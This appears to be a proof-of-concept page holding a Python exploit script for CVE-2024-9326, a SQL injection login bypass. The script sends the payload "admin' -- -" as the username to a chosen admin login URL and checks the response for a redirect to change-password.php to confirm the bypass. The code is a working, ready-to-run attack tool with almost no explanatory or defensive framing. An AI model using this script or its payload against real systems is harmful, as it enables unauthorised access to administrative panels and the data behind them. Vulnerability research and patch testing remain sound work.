4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / sqli_loginExploit.py PY
#!/usr/bin/env python3

#===========================================================
#        SQL Injection Login Exploit Script (CVE-2024-9326)
#
#Written by: Arvin Rafael Legaspi
#Date: October 5, 2024
#===========================================================

import requests
import argparse

def ascii():
    print(r"""   _____  ____  _        _____       _           _   _             
  / ____|/ __ \| |      |_   _|     (_)         | | (_)            
 | (___ | |  | | |        | |  _ __  _  ___  ___| |_ _  ___  _ __  
  \___ \| |  | | |        | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ 
  ____) | |__| | |____   _| |_| | | | |  __/ (__| |_| | (_) | | | |
 |_____/ \___\_\______| |_____|_| |_| |\___|\___|\__|_|\___/|_| |_| 
                                   _/ |                            
                                  |__/                             """)

# Setting up command-line argument parsing
def main():
    ascii()
    parser = argparse.ArgumentParser(description='SQL Injection login script for CVE-2024-9326.')
    
    # Set the target URL argument as required
    parser.add_argument('-t', '--target', required=True, help='Target URL of the vulnerable admin login page')
    parser.add_argument('-P', '--port', type=int, default=80, help='Port number of the target server (default: 80)')
    parser.add_argument('-u', '--username', type=str, default="admin' -- -", help='SQL injection payload for the username')
    parser.add_argument('-p', '--password', type=str, default="pass123", help='Password for the login (default: pass123)')
    
    # Parsing arguments
    args = parser.parse_args()
    
    # Formulate the target URL with the specified port
    target_url = f"{args.target}:{args.port}" if args.port != 80 else args.target
    
    # Setting up SQL Injection based on the provided arguments
    perform_sqli(target_url, args.username, args.password)

# Function to execute the SQL injection attack
def perform_sqli(target_url, username_payload, password_payload):
    # Setup a POST request to the target URL
    post_data = {
        'username': username_payload,
        'password': password_payload,
        'submit': 'Login' 
    }

    try:
        # Send the POST request
        response = requests.post(target_url, data=post_data)

        # Output the response from the server
        print("Response:\n")
        
        print("=====================================================================")
        # Confirms the indication of a successful login
        if 'change-password.php' in response.text:
            print("\nLogin successful! You may have access to the admin panel.")
        else:
            print("\nLogin failed.")
        print("\n=====================================================================")
    except requests.exceptions.RequestException as e:
        # Print any error if it occurs during the request
        print(f"Error: {e}")

if __name__ == "__main__":
    main()